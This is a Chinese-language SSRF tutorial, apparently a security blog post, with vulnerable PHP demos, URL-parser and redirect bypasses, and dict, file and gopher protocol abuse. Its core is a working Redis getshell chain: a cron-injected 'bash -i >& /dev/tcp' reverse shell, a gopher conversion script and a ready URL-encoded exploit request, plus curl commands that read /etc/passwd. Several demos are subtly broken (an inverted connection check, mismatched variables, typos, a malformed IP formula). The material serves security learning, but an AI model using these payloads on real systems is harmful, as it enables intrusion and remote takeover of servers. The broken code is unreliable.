SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端
发起请求的一个安全漏洞。
一般情况下,SSRF的目标是是从外网无法访问的内网系统。
0x01 形成原因
- 一般情况下,大部分的服务器都可以访问自身所在的内网
- 服务器提供了从其他服务器获取应用数据的功能
- 没有对目标地址做过滤和限制,目标地址用户自身可控
0x02 一些可能会产生SSRF漏洞的函数
file_get_contents()
把整个文件读取到一个字符串中。也可以url当作文件读取内容。
file_get_contents ( string $filename [, bool $use_include_path = false [, resource $context [, int $offset = -1 [, int $maxlen ]]]] ) : string
demo:
<?php
if(isset($_POST['url'])){
$content = file_get_contents($_POST['url']);
$filename = './images/'.rand().';img1.jpg';
file_put_contents($filename,$content);
echo $_POST['url'];
$img = "<img src=\"",$filename."\"/>";
}
echo $img;
?>
poc: http://example.com(POST)url=http://192.168.1.1/
fsockopen()
fsockopen打开一个网络连接或者一个Unix套接字连接
fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]]] ) : resource
可控制产生漏洞的两个参数$host $port
demo:
<?php
function GetFile($host,$port,$link){
$fp = fsockopen($host,intval($port),$errno,$errstr,30);
if($fp){
echo "$errstr(error number $errno) \n";
}
else {
$out - "GET $link HTTP/1.1\r\n";
$out .= "Host: $hostr\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp,$out);
$contents='';
while (!feof($fp)){
$contents.= fgets($fp,1024);
}
fclose($fp);
return $contents;
}
}
?>
poc: GetFile(‘192.168.1.1’,’80’,’’)
curl_exec()
执行curl会话。
这个函数应该在初始化一个 cURL 会话并且全部的选项都被设置后被调用。
curl_exec ( resource $ch ) : mixed
demo:
<?php
if(isset($_POST['url'])){
$link = $_POST['url'];
$curlobj = curl_init(); //初始化
curl_setopt($curlobj,CURLOPT_POST,0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj,CURLOPT_RETURNTRANSFER,1);
$result = curl_exec($curlobj);//执行url对话
curl_close($curlobj);
$filename = './curled/'.rand().'.txt';
file_put_contents($filename,$result);
echo $result;
}
?>
poc: http://example.com(POST)url=http://192.168.1.1/
filter_var() bypass
filter_var 使用特定的过滤器过滤一个变量
preg_match() 该函数使用正则表达式来进行匹配特定的字符串
parse_url() 解析一个url并返回关联数组 包含url的各种组成部分
url格式:
schema:[//[user[:password]@]host[:port][/path][?query]#fragment
https://root:123456@example.com:80/test.php?p=v#hash
demo:
此php代码对参数url由filter_var指定过滤器过滤,再由parse_url获取host,然后由preg_match进行正则匹配,最后exec执行命令
<?php
$url = $_GET['url'];
echo "Argument: ".$url."\n";
//check if argument is a valid URL
if(filter_var($url, FILTER_VALIDATE_URL)){
//parse URL
$r = parse_url($url);
var_dump($r);
//check if host ends with google.com
if(preg_match('/baidu\.com$/', $r['host'])){
//get page from URL
exec('curl -v -s "'.$r['host'].'"', $a);
print_r($a);
}else{
echo "Error: Host not allowed";
}
}else{
echo "Error: Invalid URL";
}
?>
正常执行 http://example.com/test.php?url=http://baidu.com
返回正常内容
绕过思路:
用0协议绕过filter_var() 添加;baidu.com
绕过正则
0://192.168.1.1.com;baidu.com
添加我们所需端口 使得url可以解析
0://192.168.1.1.com:8080;baidu.com:80
poc: http://example.com/test.php?url=0://192.168.1.1.com:8080;baidu.com:80/
liburl() 与 parse_url()
liburl
- host:匹配第一个@后面符合格式的host
parse_url
- host:匹配最后一个@后面符合格式的host
demo:
http://user:pass@a.com@b.com
libcurl:
schema:http
host:a.com
user:user
pass:pass
port:80
parse_url:
schema:http
host:b.com
user:user
pass:pass@a.com:80
0x03 绕过方式
ip编码绕过
www.ip.xip.io
访问与xip.io相近的ip地址
demo: www.baidu.com.192.168.1.1,xip.io 访问192.168.1.1
www.ip.xip.name
同xip.io
ip转换为10进制
例如192.168.1.1
十进制:192 256^3 + 168 256^2 + 1 * 256 + 1 = 3232235777
协议利用
除了使用http/https 还可以采用其他协议对内网进行读取
dict
dict://192.168.1.1/test:dict
利用dict探测端口如下
本地利用:
curl -v 'dict://127.0.0.1:22'
curl -v 'dict://127.0.0.1:6379/info'
远程利用(ssrf1.php):
curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'
File
file:///etc/passwd file读取文件
本地利用:
curl -v 'file:///etc/passwd'
远程利用(ssrf1.php):
curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'
Gopher
在http协议之前最流行的协议。SSRF攻击常用协议。
利用Gopher可以攻击内网FTP Telnet Redis Memcache,也可以进行get post请求 利用Gopher反弹shell
gopher://192.168.1.1/gopher
一个利用Gopher攻击内网redis的demo:
0x01 有SSRF漏洞代码
<?php
$ch = curl_init(); //初始化
curl_setopt($curlobj,CURLOPT_HEADER,0);
curl_setopt($curlobj,CURLOPT_URL,$_GET["url"]);
curl_setopt($curlobj,CURLOPT_RETURNTRANSFER,1);
$result = curl_exec($ch);//执行url对话
curl_close($curlobj);
?>
0x02 Redis Getshell 脚本
redis-cli -h $ flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
redis-cli -h $1 -p $2 quit
执行脚本bash shell.sh 127.0.0.1 6379
如果我们想要Redis攻击的TCP数据包 使用socat进行端口转发socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
再执行脚本bash shell.sh 127.0.0.1 4444
捕获到的数据如下
> 2017/10/11 01:24:52.432446 length=85 from=0 to=84
*3\r
$3\r
set\r
$1\r
1\r
$58\r
*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1
\r
< 2017/10/11 01:24:52.432685 length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.435153 length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2017/10/11 01:24:52.435332 length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.437594 length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2017/10/11 01:24:52.437760 length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.439943 length=14 from=0 to=13
*1\r
$4\r
save\r
< 2017/10/11 01:24:52.443318 length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.446034 length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2017/10/11 01:24:52.446148 length=5 from=0 to=4
+OK\r
0x03 转换为Gopher协议
在得到TCP数据后 按照一定的规则进行字符串转换
转换规则:
- 如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
- 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
- 将\r字符串替换成%0d%0a
- 空白行替换为%0a
执行脚本转换:python tran2gopher.py socat.log
*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
注意:$58为字符串长度 如果要换ip和端口 $58也要变换 一定要大于等于字符串长度
curl 测试写入 加上前缀字符串gopher://127.0.0.1:6379/_
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
返回五个ok 证明没问题
+OK
+OK
+OK
+OK
+OK
最后执行将’gopher://127.0.1.1:6379…..’ 进行url编码 赋给php代码变量url 执行poc
curl -v 'http://127.0.0.1/ssrf.php?
url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%
250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2
A%20bash%20-
i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d
%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250
a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250
d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilen
ame%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2
A1%250d%250a%244%250d%250aquit%250d%250a'
执行即可在/var/spool/cron/下生成一个名为root的定时任务,任务为反弹shell
30x跳转绕过
构造302.php 利用302跳转访问内网地址
含漏洞demo:
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);//跳转为true
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
ptint $url;
curl($url);
?>
构造302.php
<?php
$schema = $_GET['schema'];
$ip = $_GET['ip'];
$port = $_GET['post'];
$query = $_GET['query'];
echo "\n";
echo $schema."://".$ip."/".$query;
if(empty($port)){
header("Location: $schema://$ip/$query");
else
header("Location: $schema://$ip:$port/query");
}
?>
我们可以给302.php一些内网参数 再赋给url来允许访问302.php进行跳转同时传入内网参数
url=http://192.168.1.1/302.php?schema=http&ip=127.0.0.1&port=80
url=http://192.168.1.1/302.php?schema=dict&ip=127.0.0.1&port=29362&query=info
url=http://192.168.1.1/302.php?schema=gopher&ip=127.0.0.1&port=2333&query=666
附录代码
ssrf1.php 未做任何ssrf防御
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
ssrf2.php 限制协议为http/https 重定向为true
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
// 限制为HTTPS、HTTP协议
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
tran2gopher.py Gopher格式转换
#coding: utf-8
#author: JoyChou
import sys
exp = ''
with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp